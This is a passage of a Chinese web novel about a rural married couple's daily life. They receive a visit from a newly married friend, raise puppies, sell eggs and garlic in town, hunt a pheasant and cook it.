狗崽小,虽然两只在一起,可夜里离了老狗总是会叫,又不可能把它俩放进屋里,就想着让大黑来带。 狗崽的麻袋白天就被顾兰时放进了狗窝,这狗窝大,大黑的麻袋其实只占了一半,剩下一半刚好匀给两只狗崽,谁知它却不让狗崽进窝,还是裴厌抓起两只往狗窝里放,十分强势,它才认命一般不再阻拦,就这么,三只一起在狗窝里住下。 因狗崽是大狗下的,等它俩长大,肯定没办法继续跟大黑挤,等忙完这段时间,还要再搭一两个狗窝。 顾兰时将狗崽放回田垄上,往前走几步,目光在地上寻找野草的踪迹。 正忙着,忽然听见外头有人喊他,竟像梅哥儿的声音,他直起腰走上田垄,朝外面高声喊道:“梅哥儿?” “汪!”大黑早跑向篱笆门那边,两只狗崽见它如此,也汪汪汪用稚嫩的嗓子叫着,同样跑了过去,屁颠屁颠的,只是仗着大狗在而已。 “是我。”梅哥儿已经到了篱笆门前,听见狗叫的动静,连门都不敢推开,一颗心忐忑着,老老实实在外面等。 “大黑!” 顾兰时轻喝一声,大黑听懂他意思,不再叫了,但还是看着门外,一副警惕的模样。 两只狗崽跑的浑身肉都在颤,小耳朵也在晃悠,它俩还在叫,不过没有任何威慑力。 “你怎么回来了?”顾兰时打开门让李梅进来,颇有点惊喜。 李梅看一眼大黑,见它只是过来闻闻自己,随后扭头走了,这才放心,至于两只肥嘟嘟的狗崽,没有什么可怕的,有一只还冲他摇了摇尾巴,看来还没到看家护院的时候。 闻言,他开口道:“早上刚回来,听我娘说,你这边之前遭了贼,过来看看,没丢什么吧。” “没。”顾兰时笑着说:“家里有狗,贼刚来就被发现了,一早就跑了,没敢真进来。” “那就好。”李梅点点头。 两人往里面走,顾兰时没忍住问道:“你在那边……” 李梅看一眼翠绿满眼的大菜地,心中羡慕顿起,除此之外,倒也没别的情绪。 他听懂了顾兰时没说完的话,露出个腼腆的笑容,顿一下才开口:“王家挺好的,上头公婆都不是事多的人,一个姑姐已经嫁人,他也不错,成亲这么久,没说过我什么,在外头挣了钱,除去交公的,余下都给了我。” 他脸上挂着笑容,又道:“昨天我跟他说,想回来看看爹娘,早起就牵驴送我回来了,说下午再来接,嫌路远,我一个人走不放心。” 见梅哥儿过得好,脸上再没以前的忧愁凄苦,这样明显的变化,顾兰时一下子就放心了,当真是苦尽甘来,遇到一个好婆家。 两人在堂屋坐下,顾兰时提起茶壶倒茶,又把前天裴厌从镇上买的糕点拿出来,一起边吃边闲聊。 王家汉子比梅哥儿大几岁,之前娶不上亲,一直被他们村人嘲笑打光棍,今年终于娶到夫郎,一下子扬眉吐气,干活都比以前有劲多了,本就是老实本分的汉子,自然也对李梅好。 李梅喝两口茶水,说道:“他家人少,不过也有几门本家宗亲,在村里为人也不错,日子比我们家从前好过多了。” 顾兰时听他叹气,一时不知该说什么,就没开口,只在旁边听着。 说到这里,李梅忍不住再次开口:“这次回来,我特地问了我娘,赵家再没闹过事,连老不死的,见了面都没敢再骂我娘,真和几个婶子说的那样,如今他们也学会夹着尾巴做人了。” 虽然解气,可这些年受的委屈和欺负不是假的,他语气依旧有些愤愤不平。 上回赵家犯了众怒,就再没敢翻起波浪惹是生非,赵金通被打断胳膊还没好,许是没脸出门,吊着一条胳膊只在家里干活,鲜少出门。 连赵老夫郎都蔫吧许多,骂仗都不敢了,生怕别人揭他家短处。 这些顾兰时一清二楚,对赵家他一点同情都没有,当时不止梅哥儿娘,他娘也遭了赵家的瘟。 他前天去地里时碰上他娘,两人一起往村外走,路过赵家时,他娘还朝赵家门前啐了一口,依旧恨得牙痒呢,方翠柳即便瞧见,也不敢放一个屁。 顾兰时给两人添了茶水,说:“你不在村里不知道,赵家日子可不好过,无论老的小的,出门都不敢往人堆里凑,谁让他们活该,如今,总算遭报应了。” 几句话让梅哥儿又高兴起来,他自己也想开了,说:“其实都过去了,我成亲嫁走了,家里虽然只剩我爹娘和保儿,可他俩还算强健,干活种地不再话下,只等保儿长大娶亲,以后日子肯定就好了。” “可不是。”顾兰时笑着附和,把碟子推过去,说:“尝尝,桂花糕,好吃呢。” 梅哥儿这才拿了一块吃。 两人许久没见,都有说不完的话,尽管只是乡下人鸡毛蒜皮的小事,却也聊得痛快。 李梅走时,顾兰时特地给他摘了不少瓜菜,送出门后,两人都有些依依不舍。 狗崽在篱笆门前跑,见李梅进了树林走远,顾兰时嘬嘬叫了两声,他先站在门后,作势要关门了,两只狗崽争先恐后跑回来,一只还从他双脚之间窜过去。 之前裴厌说要给狗崽起名字,他一直没想好,还是昨天才敲定,偏大的一只叫灰灰,另一只就叫灰仔。 没念过书,哪里懂那些文雅的名字,乡下人喊狗,大多都跟着毛色来,这两只都是灰毛,这么叫也合适。 昨天刚起的名儿,一时还不顺嘴。 顾兰时往里面走,看一眼在前面疯跑的狗崽,心想多喊喊也就顺了。 * 梅哥儿走后没多久,顾兰时在菜地拔草,渐渐发现太阳被云遮住,抬头一看,天上起了阴云。 他有点担心,于是出去在门口望了望,不见裴厌的踪影,南边天际黑沉沉的。 看了一会儿,发现黑云有向这边飘来的趋势,也不知道能不能下。 半掩上篱笆门,趁这会儿还没下雨,他继续在菜地里干活,直到雨点啪嗒啪嗒飞快落下来。 狗崽跟着他一起在堂屋,一只在和大黑玩,另一只趴在堂屋门口看雨,两只前爪交叠,小脑袋搁在爪子上,也不知道在想什么。 顾兰时原本担心裴厌淋雨,一扭头看到灰灰如此,忍不住笑了下,伸手揉揉它脑袋。 雨势变大的时候,裴厌进了门,顾兰时自己戴一个斗笠,又拿起另一个冲进雨里,让裴厌戴上,衣裳湿了不要紧,头发得护一护。 裴厌淋了些雨,但幸亏进门了,雨势大了,他解开车套先牵毛驴回后院。 顾兰时把车上的竹筐卸下来,搬进灶房里面,菜没有卖完,同样淋了雨,他把菜拿出来铺在竹匾上晾。 把板车靠好后,大雨倾盆而至。 裴厌在堂屋擦头发,笑着说:“在镇上正卖菜,见南边起了云,像有下雨的迹象,看菜剩的不多了,我就往回赶,还是被雨撵上了。” “人哪能跑过老天爷呢,毛驴四条腿都不行。”顾兰时笑着说道,见他衣裳都湿了,又说:“我去给你找衣裳,先换干净的,等下烧点水洗洗头发,就不怕受凉了。” 一回来有人操心自己衣食,和独自一人过日子完全不同。 “嗯。”裴厌答应着,一边擦头发一边跟他进屋,见灰仔追过来,他用脚轻轻推走,随后关上了房门。 从箱子里找出干净衣裳,见窗子开着,零星雨水溅进来,他走过去关好,笑着说道:“梅哥儿回来了,刚才还来家里,我俩说了好一阵子话他才走。” 知道他俩关系好,裴厌换着衣服顺口问道:“他如今怎么样?” “婆家那边挺好的,不是坏人。”顾兰时笑眯眯的,说道:“之前还担心他过得怎么样,梅哥儿以前总受气,脸色差,总一团阴云,今天我看他满脸喜意。” 裴厌听着,他对李梅一家并无太多了解,只是很喜欢听自己夫郎说话,即便赶路着急又淋了雨,神色却全然放松愉快。 第132章 徐木头送来了摇椅,结了工钱之后,他没有多留,说家里还有活要干就走了。 崭新的摇椅放在院中,裴厌送徐木头出门,顾兰时系着襜衣正在灶房和面,木盆放在案台上,他两手都沾着白面,听见外头狗崽叫,他抬头从窗子往外看,见两只狗崽围着摇椅嗅闻。 灰灰个头较大,还人立起来,前爪搭在摇椅上,结果不小心让摇椅晃动起来,它调皮,原想蹬着后腿爬上去,不想摇椅一动,它又没站稳,一下子给摔了,便嗷嗷叫了几声,一副受委屈的模样。 狗窝垫的石头不算太高,不然以它俩的体型也爬不上去,正因为如此,最近爬高爬低惯了,见着什么都想爬上去,柴堆就更不用说,总见它俩站在上头。 幸好木头垒的紧实,没有让它俩踩塌,不过顾兰时已经不让它俩乱爬上去了,木头堆倒了没什么,怕压到它俩,就这么个小体格,都不够一根长木头压的。 灰灰摔倒爬起来,不小心和窗户里的人对上视线,它嘤嘤嘤叫的声音更大,颠颠就往灶房跑,蹭着顾兰时小腿不断撒娇,喉咙里呜呜呜的,还有点像小孩子在哭。 顾兰时手上都是面,没法儿揉它,一边揉面一边低头跟它说:“谁叫你这么皮,这下好,摔了吧。” 他嘴上责备,但语气带笑,见狗崽撒娇不成,直接趴在他左脚鞋面上,肥嘟嘟的身子还挺沉,他笑了下没有再乱动。 裴厌进院门后,看见摇椅后朝灶房门口走,说道:“不试试?” 顾兰时笑着说:“你先躺着试试,我手上都是面,等下和好了就来。” 既然如此,裴厌走到摇椅前坐下,摇椅做的挺宽敞,躺下后晃一晃,恰好一阵风吹来,果然舒坦。 他双脚随意搁在地上,摇椅晃动的幅度没有很大,是正合适的力度,不然太晃躺着也不舒坦。 顾兰时从窗户里看见,笑问道:“如何?” 裴厌躺着没有动,依旧轻晃着,说道:“不错,躺下后脊背不会太硌,挺好。” 见他这样舒坦,顾兰时揉好面后放在木盆里,拿了一块麻布盖好,拍拍襜衣上的一点面粉就往外走。 趴在他鞋面上装死狗的狗崽被轻轻踢开,又追着他脚后跟屁颠屁颠跑出来。 裴厌起身让开,椅子是新的,他解下襜衣递给裴厌,自己躺下去轻晃,一高兴,脸上笑容就没断过,开口道:“果然舒坦。” 裴厌在旁边椅子上坐下,给两人都倒了一碗茶水,见他喜欢,心道还好做了一把,钱虽然花了,但很值得。 晃着摇椅,两只狗崽在旁边打架,打着打着两只都生气了,喉咙里发出尚显稚嫩的低吼。 顾兰时没管它们,跟小孩一样,打完没一会儿就又玩耍到一起,况且两只都肥,毛蓬松厚实,也咬不出事来。 他笑着说道:“等会儿下面,一人卧两个鸡蛋,我看了,蛋筐子里攒了不少,明天要是没别的事,一起拉去镇上卖,只是路上需得慢些,你一个人能行?” 鸡蛋不比菜蔬,路上再慢也会有颠簸,裴厌想了一下,说:“还是两个人去,你坐在车上扶着筐子就好,跟上回一样,路上不全是官道,太容易磕碰了。” “好。”顾兰时答应道,又说:“鸭蛋也天天有,上回腌的咸蛋再过十天就能吃,这段日子攒的又多了,咱俩吃不完,明天给家里和阿奶分几个,剩下的也拿去卖。” 他起身喝了两口热茶,说道:“狗儿亲事快定了,我娘肯定舍不得吃家里的鸡蛋鸭蛋,要换钱给狗儿成亲用,这会子吃不上,快成亲之前也吃不上,要攒起来做席面,给家里拿几个鸭蛋,也让他们解解馋,竹哥儿肯定想吃。” “嗯,都行,鸡蛋要不要留?”裴厌问道。 养鸡鸭本来就是要给顾兰时吃,他想给家里送并无不妥,他们只有两个人,平时有事都靠岳家帮衬一把,几个蛋而已,不算什么。 顾兰时笑着说:“给几个鸭蛋就行,多了我娘又要跟她那些鸡蛋一起攒着,少给几个,够她炒一盘子的,直接就吃了。” “那好。”裴厌点着头答应。 天上有云,太阳时而被遮住,不是很热,山风吹进院落,顾兰时又躺下,晃着摇椅怡然自得。 他躺了一会儿后,没忘了让裴厌再坐坐,乡下人没什么稀罕的东西,一个摇椅就足够高兴大半天。 裴厌也是如此,要是他一个人,还不觉得有什么意思,如今不一样了,连个摇椅也喜欢。 眼瞅着到了饭时,顾兰时又系上襜衣去灶房忙。今天特意和了白面,忙了这么久,也吃顿精细的白面条。 * 一大清早,摘完菜太阳还没出来,顾兰时和裴厌将菜筐放上板车,这才进灶房吃喝,不光自己吃饱,再喂过牲禽以后,随即套驴车出门。 灰灰和灰仔跟着跑出来,顾兰时把它们挡回门里,赶紧关好篱笆门锁上,听见狗崽嘤嘤嘤直叫,有大黑在家里,想来不会有事,两人就放心走了。 路过顾家门口时,东边天际放亮,太阳出来了。 院门还没开,顾兰时上前拍门,朝里面喊道:“娘。” 顾铁山匆匆赶来开门,见他俩要去镇上卖菜的架势,问道:“兰哥儿,怎么了?” “爹,没事,家里鸭蛋多,给你们送几个,记得晌午让我娘给你炒一盘子,五个刚好够。”顾兰时说着,从筐子里取出五个鸭蛋。 “爹,我俩走了,要赶早集呢。”顾兰时把鸭蛋塞给他,转身就上了板车。 “岳丈,我们走了。”裴厌道一声,牵着毛驴就往村外走。 顾铁山在后面喊一声让他俩路上慢些,手里捧着几个鸭蛋回去了。 苗秋莲从后院出来,问道:“他爹,是兰时?” 顾铁山点头道:“嗯,给了几个鸭蛋,让晌午炒一盘子,他和姑爷去卖菜了。” 竹哥儿在屋里听见,隔着窗子笑道:“娘,我正好想吃了,还是我兰时哥哥好。” 苗秋莲笑骂道:“就你嘴馋。” 话虽这么说,要不是顾兰时给了这几个,她想吃也不愿动家里那些蛋呢,成亲不是小事,花销多,最近连油她也用得紧,能省就省,自家紧巴一段时日,到后面要给席上留够。 * 裴厌赶车赶得慢,路上要是看见坑坑洼洼或是土块石块什么的,能绕就绕过,一路都仔细,到镇上后筐子里的鸡蛋大部分都好着。 卖菜卖蛋两人早已熟悉,先沿着街道叫卖。 顾兰时主要是吆喝鸡蛋鸭蛋,跟上回一样,好蛋都是按市价来,卖到最后有几个磕裂的,一文钱一个全卖出去了,这么便宜,但一看就知道是在路上碰的,有的是人愿意买。 今天挖了半筐新蒜带来,卖得还挺好,一斤六文钱,到最后剩了些个头小的蒜头,别人挑剩下的,少说也有半斤,顾兰时原本想带回去自家吃,这东西不怕磕碰,随便就带回去了。 不过一个头发花白的老夫郎前来询问,见对方瘸着腿,衣裳也全是补丁,一副穷苦的模样,他只要了一文钱,把剩下的蒜头和一根压痕较重卖不出去的青瓜都给了老夫郎。 这根青瓜是最下面的,本身又脆生,一路颠来压出了痕迹,别人都不愿要,挑挑拣拣只剩这一根。 他们家不缺这一口吃的,给就给了,裴厌什么都没说。 没有每次来镇上都要花钱吃东西的道理,一天卖菜才赚几个钱,该卖的卖完以后,见天色不早了,两人坐在板车边沿吃了几个带来的米糕垫垫肚子。 顾兰时边吃边清点车上的菜筐,只剩小半筐蒿菜没卖出去,说道:“这些卖不完就算了,回去晒成菜干子,省得在镇上耽误久了。” “嗯。”裴厌正在嚼米糕,含糊答应了一声。 他俩没在镇上多留,回去的路上没有鸡蛋需要顾忌,毛驴跑得很快。 到家后一开门,大狗小狗都很热情,大黑向来如此,半天不见主人,尾巴摇的很快,不过它向来谨慎矜持,不会扑顾兰时。 灰灰和灰仔就不一样,到底月龄小,也不像大黑那样是看裴厌眼色长大的,一个两个兴奋极了,竖起来的小尾巴摇来摇去,不断扑顾兰时鞋面和裤管,兴奋到汪汪汪直叫。 裴厌牵着毛驴走在前面,它俩不方便扑。 脚下绊来绊去,顾兰时弯腰捞起两只狗崽在怀里一通揉捏,灰灰和灰仔还仰起脖子伸出小舌头舔他手和下巴,他笑了一声赶紧把狗崽放下,不然手上脸上都是它俩口水。 大黑见狗崽被放下以后,摇着尾巴跟上顾兰时,用脑袋不断蹭顾兰时腿。 一路走进院子,大狗小狗都绊腿,进来裴厌把车套都解了,牵着毛驴正往后院走。 顾兰时提起泥炉上的陶罐一摸,见有点温意,就倒了两碗白水,自己先坐下歇脚。 狗崽想过来邀宠,却被大黑一脑袋挤走,他忍不住笑着拍了拍大黑狗头,又揉了几下,以前没发现,还挺会争宠。 听见裴厌从通道往前面走的动静,他推开挡在身前的大黑,进灶房舀了半盆水洗手。 灰仔见他在洗手,竟凑过来伸出小舌头想喝水,他连忙把灰仔拨拉开,嘬嘬嘬叫到水碗旁边让它喝。 水碗里的水是他早上出门前倒的,这会儿还没喝完,灰仔一副渴极了的模样,舔了半天才喝饱。 顾兰时又洗了下手,站起来擦手,笑道:“估计咱们不在,它跑疯了,连水都忘记喝。” 裴厌看灰仔那副没出息的模样,点头应道:“估计是。” 第133章 日子过得很快,每天要打猪草鸡草,隔三差五去挖地龙泥鳅喂鸡鸭,还要卖菜。 田里也不能懈怠,隔段时间就要拔草,还要浇水上肥,洗衣做饭看似都是小事,做起来也是活。 牲口棚、猪圈鸡圈每天都要收拾,不然粪便满地,谁看了都不舒坦,拾掇干净才是正理。 猪仔已经一个月了,没病没痛,七只都长得挺结实,连最小的那只斤数都足够,少说有十二三斤的样子,能吃草料了,裴厌就给断了奶,和母猪分了圈,不然它们还要拱奶。 喂猪仔的草要嫩些,还得剁碎了,煮的猪食也是磨了柴豆粉和麦麸谷糠混着,再加些薯根什么的,连老猪吃的都细了。 吃草的猪一多,猪草自然要多打,没事了还要上山弄柴火和枯枝落叶什么的,各种活忙一天下来,盥洗过后,顾兰时沾着枕头就能睡着。 裴厌习惯了做体力活,比他好点,再加上一茬扁豆和青瓜过去,隔两三天才去镇上卖一趟菜,没有之前那么奔波,在家干活对他来说并不是难事。 下午,打了筐猪草回来后,两人提了凳子来到大蒜地,坐下后就开始编蒜辫子。 昨天把蒜头都挖了出来,到今天顶上的蒜苗已经半干不湿,趁着蒜苗韧性大,编成辫子好挂起来。 蒜种的多,除去之前卖了两回新蒜头,地里还有许多。 丰收总是让人喜悦的,顾兰时一边编蒜一边说:“改天去镇上,记得买个纺线车回来,后边苎麻能割了,麻线想织好点的麻布,还得纺一纺,等明年看在哪里腾一片地,种点棉花,纺棉线织些布,做亵裤小衣就不必去买布了,自家种还省钱。” “好。”裴厌坐在离他几步远的地方,手上同样在编蒜。 他之前一个人过活,家里没有纺线车和织布机这些东西,于是问道:“那织布机?” 顾兰时笑道:“老宅那边就有,太爷在世时找木匠做的,是个老物件了,我娘和两个伯娘织布都是回去织,我也过去织就是。” 织布机是个大件,不是家家都有,纺线车小而轻,价钱也不贵,一般家里都有,因老宅那边有一个织布机,顾家其他人便常常过去用。 裴厌之前碰见过苗秋莲带竹哥儿去老宅织布,他想了一下,问道:“家里人多,几个伯娘不说,还有分家出去的孙辈,织布也是回去弄,上回见岳母和竹哥儿过去,都是提前同大伯娘说好,跟排号一样,到底没那么方便,我先问问徐木头,看一架机子多钱。” “不便宜呢,咱们又不是织户,不过织几匹自己用的而已。”顾兰时说道,他心中有点犹豫。 不过再一想,要是有一个织布机子,要是保管的好,起码能用两三代人呢,以后织布不用愁。 裴厌同样是这么想的,自己家里有一个的话,不用往别人家里跑,更不用递话看眼色,亲戚再好,也不如在自家舒坦。 他说完之后,顾兰时才点头应了一声,确实是这个理,又道:“要是真织的多了,还能拿去布庄卖,咱们虽种了桑树,可惜没养蚕。” 裴厌笑着说:“家里人手不够,活已经够多了,再来一样,恐怕得从早干到晚,都没歇的时候。” “是呢。”顾兰时拿起旁边的蒜编进辫子里,不过是随口说说,这几天他晚上睡觉都没做梦,眼睛一闭再一睁,就到第二天早上了,确实乏累。 正说着话,天忽然就阴了,两人不约而同抬头看一眼,裴厌说道:“还是搬回去,在堂屋里编,不下还好,万一下雨,就来不及搬回去。” “好。”顾兰时把手上的蒜辫打个结,就跟他一起拿了竹筐过来,把挖出来的蒜用筐子装着,背到堂屋倒出来,来回背了好几趟,狗崽跟着他俩跑来跑去,一刻都不停歇。 之所以在菜地里编蒜辫,为的就是方便省事,也省得泥土弄到别处,谁知就变天了。 等他俩坐到堂屋里继续编,顾兰时看一眼外头,刮风了,吹的院里一点薄土扬起来,他开口说道:“今年雨水多。” 裴厌顺着他的目光看过去,说:“是比去年多。” “收麦时可千万别下。”顾兰时有点担心,好好的麦子要是淋了雨,一年收成就没了,庄稼人最担心的就是这个。 “那会儿就到夏天了,不一定会下。”裴厌宽慰道。 “嗯。”顾兰时点点头,现在想这么多无济于事,又伸手从蒜堆里拿了一根编进蒜辫子里。 种的蒜多,编成辫子也是一堆,两人把一挂挂蒜辫放进西屋和杂屋照不到太阳的地方,顾兰时还给灶房墙上挂了一串,方便做饭时取用。 裴厌正在扫堂屋里的土,雨点就噼啪落了下来,砸在地上溅起泥点子。 不一会儿,雨幕连成一片,水汽混在一起雾蒙蒙的。 顾兰时倒了碗热茶喝,随后躺在摇椅上轻晃,大黑也躲进堂屋避雨,趴在他旁边不声不响,身后的尾巴轻摇着。 裴厌靠在椅子上,长腿伸直了,浑身也透着放松。 下雨干不了外面的活,是为数不多能歇息的时候。两只狗崽又在打架,在地上滚成一团,你压我我压你,嗷嗷叫着。 摇椅宽敞,长度也够,前面还有放脚的地方,整个人躺在上面那叫一个舒坦,顾兰时转头看向裴厌,笑眯眯说:“今年夏天咱们再去抓蝎子,挣一点,再做一把摇椅,得了空你也躺着,舒坦呢。” 裴厌本想说自己现在这样就挺舒坦,用不着摇椅,但见顾兰时眼睛亮亮的样子,到嘴边的话就改了,点着头说:“好,那就再做一把。” * 下过雨,山上菌子木耳还有地皮菜都出来了,顾兰时和裴厌一大清早就上了山,早起有晨露,树叶间还留有残雨,他俩都戴了斗笠,衣裳还好,弄湿头发的话,顶着冰凉水汽在山林里转悠容易着凉。 今天上山时碰见好几个同样找菌子的人,说两句话又分开,各自去寻找。 山林大,分开走一走就听不到旁人的动静,他俩顺着上次找到地皮菜的方向走,沿途顾兰时发现了一簇山莓果,红艳艳的,正好熟了。 莓果不知沾了雨水还是露水,他摘下之后没有立即往嘴里塞,用帕子仔细擦干净,捧在手里让裴厌也过来吃。 顾兰时先尝了一个,笑着说:“挺甜的。” 裴厌走过来捏起一个果子,咬破后甜甜的汁水在口中溅开,他点着头嗯一声以表赞同。 莓果不多,只有一小把,又不好带,容易压破了,他俩站在这里吃完,这才继续往前。 上山走的路虽然多,但走走停停,到处捡菌子和地皮菜,就显得没那么忙碌,两人还碰上一株倒下的老树,长了许多黑木耳,正是常吃的那种。 这回不用到处找树枝戳木耳,他俩蹲在树前把能摘的都摘了。 顾兰时喜滋滋的,刚转头想跟裴厌说今天运气可真好,不想眼角余光瞥见一抹彩尾,扑棱棱从不远处飞过。 是野鸡! 不等他说出口,裴厌已经有了动作,拔腿就追上去,边跑边从怀里掏出弹弓和小石块,只留一句在这里等着。 有彩色翎羽的是公野鸡,又漂亮还会飞,只是没有鸟儿飞的那么高罢了。 顾兰时把竹筐和篮子放到一起,高高兴兴在原地等。 成亲后和裴厌上山打过好几次禽鸟,山鸡种类还挺多的,最漂亮的就数这种彩尾大野鸡,刚才虽然只瞥见一眼,但那只公野鸡不小呢。 住在山脚下,一到快收麦时,麦子黄了,野鸡就常常钻进麦地啄麦穗,有时还能在麦地里找到野鸡蛋。 这种东西夏天最常见,有时正割麦就能碰见,但村里人都忙着收麦,没人会带弹弓什么的,只能眼睁睁看着野鸡飞走,追是很难追上的, 怕自己走开裴厌找不到,顾兰时就在原地等待,等了好一阵子,总算看见了人影。 “打到了?”他嘴上这么问,目光已经落在裴厌右手上拎着的东西,正是那只彩尾野鸡,还活着呢,腿和翅膀那里有血迹,已经蔫了。 “跑得挺快,追着它跑了好长一段,在林子那头打到的,差点就让它给跑了。”裴厌边走边说,心中有点庆幸,他射出去好几次,还好在野鸡钻进灌木前打中了,这么大一只,要是跑了没吃到,还真有点遗憾。 有段日子没吃过鸡肉了,家里的母鸡要下蛋,小鸡还未长成,没看见野鸡还好,看见以后两人都有点馋。 顾兰时高兴的不得了,说道:“正好,去竹林那边挖棵嫩笋子,这会儿的虽然没有春天好吃,一起炖进去,好歹有个配菜。” “好。”裴厌从地上扯了一根藤草,把野鸡嘴巴和双脚捆住。 他背起竹筐拎了野鸡,顾兰时提着竹篮,两人兴冲冲奔向竹林去挖笋,都十分来劲。 他俩下山的时候,竹筐和篮子都是满的,大半筐竹笋在最底下,上面有一层新鲜的黑木耳,篮子里是菌子和地皮菜,裴厌还拎着一只野鸡,收获颇丰。 笋子虽然没春秋时的好吃,但既然过去了,他俩就多挖了些,带回去焯过水好晒成笋干,多少是个口粮。 下山路上碰见周石头和他媳妇吴小桃,吴小桃听说过裴厌,尽管和邻居顾家关系挺好,但心里头多少有些畏惧裴厌。 看着羽毛艳丽的大野鸡,她有点羡慕,就是不敢同裴厌说话,只冲着顾兰时腼腆笑了下。 周石头还好,跟裴厌打过几次交道,他成亲时裴厌还给提了酒水,便说笑了两句,言语中满是对打到野鸡的羡慕。 分开后,走了没一段就看见林子里独自挖野菜找菌子的徐瑞儿,顾兰时喊了一声,见徐瑞儿转头,他招招手示意对方过来。 “兰时哥哥,厌哥哥。”徐瑞儿放下竹筐,把两根笋子往里面放。 见他不怎么讲究,里头还有菌子呢,顾兰时提醒道:“把笋子从旁边放进去,不然压坏菌子了。” 徐瑞儿按着他的话放好,倒是挺听话的性子,就是平时没人管也没人教,衣裳也是脏的。 “你哥哥呢?”顾兰时问道。 去年冬天放在他们家的碎银还剩下六钱,两个孩子花的很俭省,自打开春后,徐启儿再没有来要过钱。 之前碰见时他问过,徐启儿说开春了有野菜吃,买的米面和野菜一起煮成糊糊,比喝野菜清汤强多了,再加上去做工,赚的那点铜板攒一攒,平时买两斤面是足够的,想把那六钱银子留到今年冬天再用。 徐瑞儿抬头说道:“前天跟三大爷还有我二伯去镇上做工了,带了铺盖,夜里也睡在那边,有个老爷盖新院子,我承安爷刚好认识管事,我哥哥跟着三大爷他们去拉沙土和青砖木头,一天管两顿饭呢。” 和那些懂工艺的匠人不同,徐启儿跟着去做工都是力气活,顾兰时知道这个,裴厌去码头做工也是卖力气,还没有人管饭,做小工确实好一点,只是徐启儿年纪小又单薄,也不知道哪里来的那么多力气。 “那你一个人在家做饭?”他又问道。 徐瑞儿点点头,说:“也没什么难的,菜煮熟了就好,笼屉里有我哥哥蒸的糙馒头,热一热就能吃了。” 他这么一说,只要不讲究,饭菜确实没什么难做的,顾兰时叮嘱道:“你一个人在家,夜里门窗都要关好,别大意。” “嗯。”徐瑞儿点着头答应,他早看见裴厌手里的野鸡,馋是馋,但从小没怎么吃过鸡肉,想不起来是什么味道,只咽了下口水,就不去看了。 “我们先走了,你在山上别跑太远。”顾兰时说完,就和裴厌往山坡下走。 徐瑞儿答应着,又去林子里挖野菜。 他哥哥走之前跟他交代过,地里的草拔过一遍,不用他再去管,每天在地里转转就好,家里也没有鸡鸭牲口要喂,只让他每天多挖点野菜,焯过水好晒成菜干子,留着过冬吃。 他记着这些,不光野菜,焯水烧柴要用到水和柴火,他每天还要捡柴搂落叶,一桶水提不动,就在河边打半桶,一趟趟跑回去,独自在家也忙个不停。 日子从小就过得清苦,他并不觉得有什么,有本家的伯伯爷爷帮衬,多少会带着他哥去做工,隔三差五就有工钱拿,一两个月还能买小半斤肉吃,已经足够了。 第134章 拎着野鸡到家后,大狗小狗的目光都被彩色羽毛吸引,大黑还好,两只狗崽跑来,不断昂着脑袋想要闻闻。 因是人吃的东西,裴厌提的高,没让它俩乱闻乱咬。 放下篮子后,顾兰时见它俩叫着,于是从野鸡尾巴上拔了两根彩羽,拿在手里晃一晃,狗崽目不转睛看着,随后就扑上来。 见狗崽叼住了,他松开手让它俩自去玩耍,笑着先和裴厌把筐子和篮子里的东西掏出来收拾。 他把黑木耳拣出来放在竹匾上,说:“留几根漂亮的羽毛,回头插在毽子上,肯定好看。” “嗯,等会儿拔毛时留着。”裴厌蹲在他旁边把竹篮里的地皮菜和菌子分开放在竹匾上,等会儿都要洗。 筐子里的木耳都拣出来了,顾兰时起身往灶房走,说道:“我先把水烧上。” 裴厌问道:“炖鸡放菌子吗?” 顾兰时边走边说:“放,放几朵进去是个意思,汤更鲜,剩余的晚饭炒着吃,应该够一碗的。” “好。”裴厌答应着,端起几个竹匾往灶房门口挪了挪,随后也进去,舀了半盆水,坐在门口旁边的屋檐下洗菜。 菌子好洗,洗干净上面粘的泥就行,他先把菌子洗出来,随后又把黑木耳倒进不算太脏的水里,一片片仔细搓洗干净。 这是个慢活,晒之前弄干净了,到吃木耳的时候就不怕麻烦,更不会一嘴砂砾感。 顾兰时给灶底添了柴火,出来见他在洗菜,自己拉过树墩子坐下,在旁边剥起竹笋,说道:“改天在河边找点火绒草,要么去山上刨些松针,引火的木屑不多了。” 火绒草是庄稼人这么叫的,草茎草叶晒干后柔软,揉碎之后又轻又软,引火特别好使。 家里还有两堆柴垛,一堆是麦秸,另一堆是稻杆,同样是软柴,能够引火用,但这些同时也是草料,要先和干草一起紧着毛驴吃,烧太多会亏待牲口。 裴厌用拇指和食指搓洗一片较大的木耳,说道:“明天不忙,去河边转转。” “好。”顾兰时把剥好的笋子先放在搁木耳的竹匾上,不然放在地上就脏了。 他看一眼天色,又说:“天热了,水没那么凉,明天再挖点地龙,摸些螺,能下网就下,捞点鱼虾吃。” “行。”裴厌答应的很干脆,下网不是难事。 剥完六七根笋子,顾兰时又给灶底添了柴火,等水烧滚以后,裴厌在院里杀鸡烫毛,他坐在那里洗地皮菜。 血腥味道引来了狗崽,怕它们舔血,裴厌冷声呵斥撵走了它俩,大黑早见惯了杀鸡的场面,只趴在不远处等着。 太阳有点晃眼,顾兰时把洗了一遍的地皮菜放在竹匾上,抬头看一眼已经拔了毛的野鸡,笑道:“果然挺肥的。” 这只野鸡大,肉厚实,裴厌用刀剖开鸡肚子,掏出里面的东西,闻言说道:“是挺肥,油脂还不错,跟家里养的差不多了。” 他说完,顾兰时咽了咽口水,这样的鸡炖出来汤水油亮香浓,喝着可香了。 裴厌把鸡的心肺肝肾这些脏腑都留着,余下的东西丢进一堆杂毛里,脏腑虽小,等下煮了给狗打打牙祭倒合适,肉就算了,很长一段时间没吃过鸡肉,这一只正好解馋。 见他杀好了鸡,提着往灶房里走,顾兰时在洗第二遍地皮菜,说道:“剁成块就行,然后把笋子切了,留半碗,余下的焯一遍水拿出来晒。” “好。”裴厌答应一声,就进去忙了,正好用煮完笋子的水把鸡脏腑煮熟,晾一晾直接丢给大黑和狗崽吃。 趴在地上歇息的大黑一看见他拿着东西出来,登时爬起来,比两只狗崽跑的都快,一看就是早等着了。 到晌午做好饭,外头太阳大了。 顾兰时和裴厌坐在堂屋,一盆鸡汤闻着就香浓,饭很简单,炖汤时在另一口锅中烙了几张白面饼子,烙饼外酥里软,喝一口汤啃一口饼子正正好。 鸡肉炖的软烂,汤咸淡合适,里头的笋子和菌子也十分鲜香,两人都顾不上说话。 到最后盆底什么都剩,肉和菜捞完了,鸡汤也喝完了,裴厌还用半块饼子擦了擦汤盆里的油水,两三口就吃光了。 顾兰时肚子撑,坐在凳子上一时不敢乱动,今天贪嘴吃得太多,肚子难受,却十分满足。 